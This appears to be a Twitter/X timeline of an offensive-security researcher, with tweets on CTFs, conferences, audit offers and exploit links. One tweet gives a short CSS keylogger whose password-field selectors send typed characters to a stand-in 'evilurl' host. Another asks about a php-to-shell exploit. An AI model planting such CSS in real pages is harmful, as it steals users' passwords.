؜

BS-free offensive security tweets. I host @secTalksNL & @securityCTF. Strong exploit dev fetish. Baker of 0days.

[؜ @xxByte]

magic:

CSS keylogger

<style>
input[type="password"][value$="a"] {
 background-image: url("http[:]//evilurl[:]/a");
}

input[type="password"][value$="b"] {
  background-image: url("http[:]//evilurl[:]/b");
}
</style>

[؜ @xxByte]

Hello @Bsideslisbon!
see you at 14:00

#lisbon #infosec

[؜ @xxByte]

@th4d1g1m0rtal @DarkWebInformer next talk for oneconf ;p

[؜ @xxByte]

@levelsio oh one more thing: after a quick check I discovered you can leak the entire data base of your website (nomadlist), maybe you should hire me for a proper security audit?

https://t.co/dhmae73y3L

[؜ @xxByte]

@levelsio yeah but who is checking on claude though?

[؜ @xxByte]

@buildwithmaya @wickedguro We need to talk about security too. These people are shipping without any security in mind. Let's do an episode about that?

[؜ @xxByte]

@UK_Daniel_Card is that @shaver? great communication!

[؜ @xxByte]

@JamesPavur I love how the community kept adding to the BTC wallet during the CTF!

[؜ @xxByte]

OpenWrt released new update basically all security patches.

[؜ @xxByte]

ps: twitter is blocking links to exploit-db ...

[؜ @xxByte]

Did someone test the stability of exploit-db php2shell exploit here: hxxps://www.exploit-db.com/exploits/52704

Any reports?

[؜ @xxByte]

@marclou very good! bow go run a proper audit at https://t.co/GLmJVOgWwa

[؜ @xxByte]

@norsyx @refer59 you got data on that?

[؜ @xxByte]

@marclou question: why are you using Amazon SES when you can use cheaper alternative since you are targeting budget users?

[؜ @xxByte]

@monica_graham @choblin29 where did you get this? "exploit tutorial"

[؜ @xxByte]

@jedisct1 paid details?
free poc and details here: https://t.co/2DWF9BBrhG

[؜ @xxByte]

@boardyai @andrewdsouza exactly what we do

[؜ @xxByte]

@andrewdsouza @boardyai send me a DM or email [email protected] :)

[Google VRP (Google Bug Hunters) @GoogleVRP]

Introducing PageBreak, an agentic vulnerability discovery tool using deterministic validation to achieve a near-zero false positive rate.

How it works: https://t.co/n3k4vvNhoq

For real-world vulnerabilities PageBreak has discovered 👇

https://t.co/0pZ5rWoWw2

[؜ @xxByte]

Active Directory Attack Architecture Map

https://t.co/CEolRHsi1z

[؜ @xxByte]

@x1m_martijn hacksclusive sounds less dangerious than hacktivity :P

[؜ @xxByte]

each time we send an email to msft email (outlook, azure, etc) their spam filter mark our domain https://t.co/Du3Chehq5s as a spam just because it contains "hack" in it.

All other services are OK.

so,
pro tip: if you start a security company don't name it hack-something.